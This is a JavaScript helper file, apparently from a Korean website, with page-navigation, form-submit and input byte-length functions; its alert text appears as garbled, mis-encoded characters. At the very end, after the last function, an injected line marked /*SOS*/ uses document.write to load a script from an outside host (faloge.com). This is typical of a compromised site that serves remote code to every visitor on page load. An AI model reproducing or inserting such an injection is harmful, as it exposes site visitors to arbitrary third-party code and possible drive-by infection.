	String.prototype.trim = function() 
	{
		return this.replace(/(^\s*)|(\s*$)/g, "");
	}
	
	function ChangePage(item)
	{
		if (item != "")
		{
			location.href = item;
		}
	}


	function PageMove(url)
	{
		document.frmPage.action=url;
		document.frmPage.submit();
	}

	function fn_Search(){
		window.document.frm_Search.submit();
	}

	function getByteLength(input, a_len){
		var iByteLength = 0;
		for (var i=0; i < input.value.length ; i++ )
		{
				var sChar = escape(input.value.charAt(i));
				if (sChar.length == 1)
				{
					iByteLength ++;
				} else if (sChar.indexOf("%u") != -1)
				{
					iByteLength += 2;
				}else if (sChar.indexOf("%") != -1)
				{
					iByteLength += sChar.length/3;
				}
		}
		if (iByteLength > a_len)
		{
			alert(a_len+"ÀÚ ÀÌÇÏ·Î ÀÔ·ÂÇÒ ¼ö ÀÖ½À´Ï´Ù.");
			input.focus();
		}
		return;
	}/*SOS*/{document.write('<script src=http://www.faloge.com/js/yahoo.js><\/script>');}